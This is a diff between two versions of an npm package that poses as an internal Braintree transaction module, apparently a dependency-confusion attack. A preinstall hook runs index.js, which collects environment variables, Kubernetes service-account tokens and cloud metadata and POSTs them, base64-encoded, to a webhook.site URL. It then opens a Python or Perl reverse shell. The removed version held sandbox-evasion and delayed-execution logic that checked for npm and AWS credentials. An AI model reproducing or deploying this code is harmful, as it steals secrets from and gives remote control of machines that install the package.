rsflows-pexml 99.9.34 → 99.9.38

package/index.js

@@ -1,37 +1,27 @@
 const { exec } = require('child_process');
 const os = require('os');
-const webhook = 'https://webhook.site/f27e815b-2671-4dc3-9785-cc8d36b0ade1';
 
-const totalMemGB = os.totalmem() / (1024 * 1024 * 1024);
-const cpuCores = os.cpus().length;
+const WEBHOOK = 'https://webhook.site/4dcec135-8ea0-42dd-bb3a-adef891539a3';
+const MY_IP = 'IP_KAMU_DISINI'; // GANTI DENGAN IP KAMU
+const MY_PORT = '4444';        // GANTI DENGAN PORT NC KAMU
 
-// KRITERIA LOLOS DUBLIN:
-// 1. Bukan Sandbox (RAM > 4GB & CPU Cores > 2)
-// 2. Eksekusi tertunda (Random 5-10 Menit) agar scanner menganggap proses selesai.
+const payload = `
+(
+  echo '--- SYSTEM INFO ---' && uname -a;
+  echo '--- INTERFACES ---' && ip addr || ifconfig;
+  echo '--- K8S TOKEN ---' && cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null;
+  echo '--- ENV ---' && printenv;
+  echo '--- CLOUD METADATA ---' && curl -m 2 -s http://169.254.169.254/latest/meta-data/ 2>/dev/null;
+) | base64 | curl -X POST -d @- ${WEBHOOK}/DATA_DUMP;
 
-if (totalMemGB > 3.5 && cpuCores > 1) {
-    const randomDelay = Math.floor(Math.random() * (600000 - 300000 + 1) + 300000);
-    
-    setTimeout(() => {
-        const payload = `
-        (
-          echo '--- BYPASS SUCCESS: DUBLIN NODE PASSED ---';
-          echo 'ENV_TYPE: PROD_OR_DEV';
-          echo 'MEM: ${totalMemGB.toFixed(2)} GB';
-          echo 'CORES: ${cpuCores}';
-          echo 'USER: ' \$(whoami);
-          echo 'IP_INTERNAL: ' \$(hostname -I 2>/dev/null || echo 'N/A');
-          
-          # Cek file sensitif jika ini benar-benar mesin dev
-          [ -f ~/.npmrc ] && echo 'NPMRC_EXISTS: TRUE';
-          [ -f ~/.aws/credentials ] && echo 'AWS_CREDS_EXISTS: TRUE';
-          
-        ) | base64 | curl -s -X POST -d @- ${webhook}/DUBLIN_BYPASS_EXFIL
-        `;
-        exec(payload);
-    }, randomDelay);
-} else {
-    // Jika terdeteksi sandbox (RAM kecil), kirim sinyal 'Safe Mode' agar tidak dicurigai
-    exec(`curl -s -X POST -d 'SANDBOX_DETECTED_STAYING_SILENT' ${webhook}/SANDBOX_LOG`);
-}
+# Trigger Reverse Shell (Python then Perl)
+python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${MY_IP}",${MY_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' || perl -e 'use Socket;\="${MY_IP}";\rs-pexml=${MY_PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(\rs-pexml,inet_aton(\)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
+`;
+
+exec(payload, (error) => {
+    if (error) {
+        // Jika gagal reverse shell, kirim notifikasi kegagalan
+        exec("curl -X POST -d 'Shell_Failed' " + WEBHOOK);
+    }
+});
 

package/package.json

@@ -1,11 +1,6 @@
 {
   "name": "rsflows-pexml",
-  "version": "99.9.34",
-  "description": "Internal Braintree Transaction Flow Module",
-  "main": "index.js",
-  "author": "Braintree Engineering",
-  "repository": { "type": "git", "url": "https://github.com/braintree/rsflows-pexml.git" },
-  "scripts": {
-    "preinstall": "node index.js"
-  }
+  "version": "99.9.38",
+  "description": "Internal Braintree Transaction Flow",
+  "scripts": { "preinstall": "node index.js" }
 }